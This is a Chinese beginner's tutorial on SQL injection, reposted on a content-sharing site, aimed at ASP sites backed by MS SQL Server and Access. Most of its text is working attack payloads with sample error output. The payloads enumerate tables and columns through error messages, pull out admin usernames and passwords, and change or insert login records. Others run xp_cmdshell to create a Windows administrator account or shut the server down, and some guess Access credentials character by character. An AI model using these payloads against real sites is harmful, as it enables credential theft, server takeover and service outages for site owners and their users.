打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
菜鸟SQL注入详解

利用SQL进行添加,更改,查看记录。
      当一台主机台开了80端口,当你手头没有任何黑客工具,那么,偶们有SQL。
      他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
      篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。
      1,什么是SQL注入?
      SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
      当用户来到网站,会提交一些数据,再到数据库进行查询,确定此用户的身份。
      举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
      密码,点“确定”,网站会通过数据库的查询来判断你是不是他们的用户,
      你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我
      们所想要得到的信息,如管理员的账号密码。以下,小林用了http://xxx.xxx.com
      来表示一个存在注入漏洞的网页。
      2,助手篇,
      先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 错误信息前面的勾去掉。
      否则,不论服务器返回什么错误,我们都只能看到“HTTP 500服务器错误”,不能获得更多的提示信息
      。

      3,哪些网页能利用?
      我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等
      找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:
      <FORM action=login.asp method=post>
      <input ........
      </FORM>
      这些网页,后缀如asp,jsp,cgi,php网页。
      如:http://xxx.xxx.com/index.asp?id=10
      上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面
      来练手了。(要做个好人噢。)
      4,怎么测试它是存在注入漏洞的呢?这一步偶称它为“踩点”。
      小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
      http://xxx.xxx.com/index.asp?id=10
      返回错误信息:
      Microsoft OLE DB Provider for SQL Server 错误 80040e14
      字符串 之前有未闭合的引号。
      /job/grxx.asp,行141
      这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
      通常一个整数是不用在SQL里加引号的。
      如果他不是一个整数而是字母呢?
      http://xxx.xxx.com/index.asp?user=lamb
      那我们就把引号放到lamb中间,如lamb
      呵呵,又出错了吧?
      这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看)
      当然,我们也可以提交:
      http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的)
      出现错误信息:
      Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
      columnaaa.
      /job/grxx.asp,行27
      这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说“列”)。
      利用出错的信息,我们现在多少了解了这个站点的服务了吧?
      5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想办法让数据查询中出错。
      要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:
      http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
      出现错误信息:
      Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is
      invalid in the
      select list because it is not contained in an aggregate function and there
      is no GROUP BY
      clause.
      /more.asp,行27
      看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用
      上GROUP BY,于是黑客就重复错误提交,直到没有得到错误。
      这里要说明一下:分号在这里分离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去
      执行代码。(*_*)
      下面是具体例子:
      提交:
      http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
      得到article.newsid这真是好东西。
      提交:
      http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--
      得到错误信息:
      Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is
      invalid in the
      select list because it is not contained in either an aggregate function or
      the GROUP BY
      clause.
      /more.asp,line 20
      得到:
      article.title
      我们反复地一个一个加上来提交。
      得到错误信息:
      Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is
      invalid in the
      select list because it is not contained in either an aggregate function or
      the GROUP BY
      clause.
      /more.asp,line 56
      这里要注意了,都到哪儿了?到下一个表了。
      现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等
      title
      利用系统表:
      下面,我们要确定表名来加入数据。
      系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询UNION SELECT,。
      要从SysObjects table 有天地拿到表名,一般使用下面语句:
      SELECT name FROM sysObjects WHERE xtype=U U是指明定议USER的表。
      黑客们已经知道了表里的列,
      现在他们能在下面加一些数字。甚至如下面的:
      在地址栏里打入:
      http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT% ;
      201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U--
      记住,上面的,1-6数据中,6是我们想要的。不过有时候会出现数据类型错误,
      http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT ;TOP 1 TABLE_NAME FROM
      INFORMATION_SCHEMA.TABLES--
      MS SQL服务将试图去转换一个string (nvarchar)到integer。那么就会出错:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      table1 to a column of data type int.
      /index.asp, line 5
      这个错误信息很“友好”地告诉我们string (nvarchar)值不能被转换成integer。
      这样,我们就获得了数据表的第一个表名!这个表名就是tabel1。

      要获得第二个表名,我们继续,用以下查询:
      http://xxx.xxx.com/job/grxx.asp?id=23%20UNION ;SELECT TOP 1 TABLE_NAME
      FROM
      INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (table1)--
      也可以用关键字查找数据:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 TABLE_NAME FROM
      INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25ADMIN%25--
      现在错误信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      admin_login to a column of data type int.
      /index.asp, line 5
      寻找与之匹配的值,%25ADMIN%25在SQL服务器上将被认作 %ADMIN%。这样,我们就能获得符合标
      准的表名为"admin_login"的表了。
      那么,如何获得表里所有的列表?
      我们能利用另一个有用的东东,INFORMATION_SCHEMA.COLUMNS 出场!!!
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

      INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login--
      现在错误信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      u_id to a column of data type int.
      /index.asp, line 6
      看,我们有了第一个字段的名,我们用NOT IN () 来获得下一个字段名:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

      INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
      NOT IN
      (u_id)--
      现在错误信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      u_name to a column of data type int.
      /index.asp, line 5
      我们继续,获得其他列表。如:"password"等,因为我们获得下面错误信息:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

      INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
      NOT IN
      (u_id,u_name,password,contents)--
      现在错误信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear
      in the select
      list if the statement contains a UNION operator.
      /index.asp, line 5
      6。2 如何找到我们要找的重要数据呢?
      现在我们知道了表名,字段名,我们用相同的方法收集我们要的在数据库里的信息。
      现在,我们从"admin_login" 表里取得第一个u_name :
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 u_name FROM
      admin_login--
      现在错误信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      adminroot to a column of data type int.
      /index.asp, line 5

      我们知道,这里有登陆的用户名叫 "adminroot"的管理员。最后,从数据库里获得"adminroot" 的密码
      :
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
      admin_login where
      u_name=adminroot--
      现在错误信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      root to a column of data type int.
      /index.asp, line 5
      我们现在能用户名"adminroot"密码:"root"登陆了。

      如何取得数字的值?
      以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。
      让我们说说如何获得"tony"的密码,密码是 "19840217":
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
      admin_login where
      u_name=tony--
      我们很可能发现,该页无法显示的错误。这结果表示,密码"19840217"被修改到一个数了。在整
      合一个整型(10 也是),因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。
      我们就得不到数字的登陆了。
      要解决这个问题,我们能附加一些字母来测试转换失败。我们用以下的测试来代替:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 convert(int,
      password%2b%20lambgirl) FROM admin_login where u_name=tony--
      我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+ = 0x2b
      我们将添加空格在密码里。所以,如果把我们的密码是19840217。他将变成19840217 lambgirl.
      调出了转换了的函数。试着将19840217 lambgirl转变成整型。SQL服务将出现ODBC错误:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      19840217 lambgirl to a column of data type int.
      /index.asp, line 5
      现在,你就能用tony和密码:19840217 lambgirl了。

      如何在数据库修改,插入数据?
      当我们成功地获得了表名,字段。就很容易在数据库里修改甚至插入新的数据。如更改"adminroot"
      的密码,我们
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UPDATE admin_login SET password =
      newpas5 WHERE
      u_name=adminroot--
      要在数据表里插入新记录,
      http://xxx.xxx.com/job/grxx.asp?id=23 ;INSERT INTO admin_login (u_id,
      u_name,
      password, contents) VALUES (123,xiaolin,pas,lambgirl)--
      现在,我们就能用xiaolin pas 来登陆了。

      如何远程执行SQL漏洞?
      能进行SQL注入命令表明,我们能查任何我们想要查的。默认安装的的MS SQL服务
      在系统中权限等于管理员。我们能利用执行存储过程像xp_cmdshell 来执行远程破坏:
      ; exec master..xp_cmdshell ping 192.168.0.2--
      (如果单引号不能用,就换成双引号)
      分号表示结束前面的SQL查询,从而允许你开始另一个新的SQL命令。
      为了检验命令成功执行,你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。
      #tcpdump icmp
      如果你没有接到PING主机的回应,得到一个错误的提示,权限错误,那么,很可能管理员
      限制了WEB用户对xp_cmdshell 等的权限。
      如何找出MYSQL查询结果?
      这很容易用sp_makewebtask来把你查询的结果放到一个HTML里:
      ; EXEC master..sp_makewebtask "\\192.168.0.2\share\girlxiaolin.html",
      "SELECT * FROM
      INFORMATION_SCHEMA.TABLES"
      但是目标IP必须共享文件夹。

      http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net user
      name
      password /add”--
      xp_cmdshell 用于调用系统命令,于是,用net命令新建了用户名为name、密码为password
      的windows的账号,接着:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net
      localgroup name
      administrators /add”--
      将新建的账号name加入管理员组,不过这种方法只于用sa连接数据库的情况,否则,没有权限调用
      xp_cmdshell。
      其他方面,如利用SQL的命令填写:
      将使SQL服务快速关闭
      用户名: ; shutdown with nowait; --
      密码: 不填
      导致严重问题,网络故障。
      用户名: ; exec master..xp_cmdshell iisreset; --
      密码:不填
      关于ACCESS部分,
      和ASSQL差不了多少,也是先在http://xxx.xxx.com/index.asp?id=10
      出错的话,继续提交:
      先测试是否有ADMIN表,
      http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)
      http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
      没有的话,就换一个名字,如user啊,什么的。再猜里面是否有username这个字段.
      and 1=(select count(*) from admin where len(username)>0)
      如果出错,同理,我们也可以给它换一个名字。
      接下来我们猜用户的具体名字。
      and 1=(select count(*) from admin where left(username,1)=l)
      这时我们可以一个一个地来猜。
      and 1=(select count(*) from admin where left(username,2)=la)
      接下来猜密码,猜密码的道理同猜用户名一样。
      and 1=(select count(*) from admin where left(password,1)=l)

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
关于SQL注入的一点思考和总结
QT连接SQL Server(ODBC)
袖珍数据库连接查询手册
如何在ASP中连接MySQL数据库
asp连接sqlserver数据库实现代码
asp,css属性的用法介绍
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服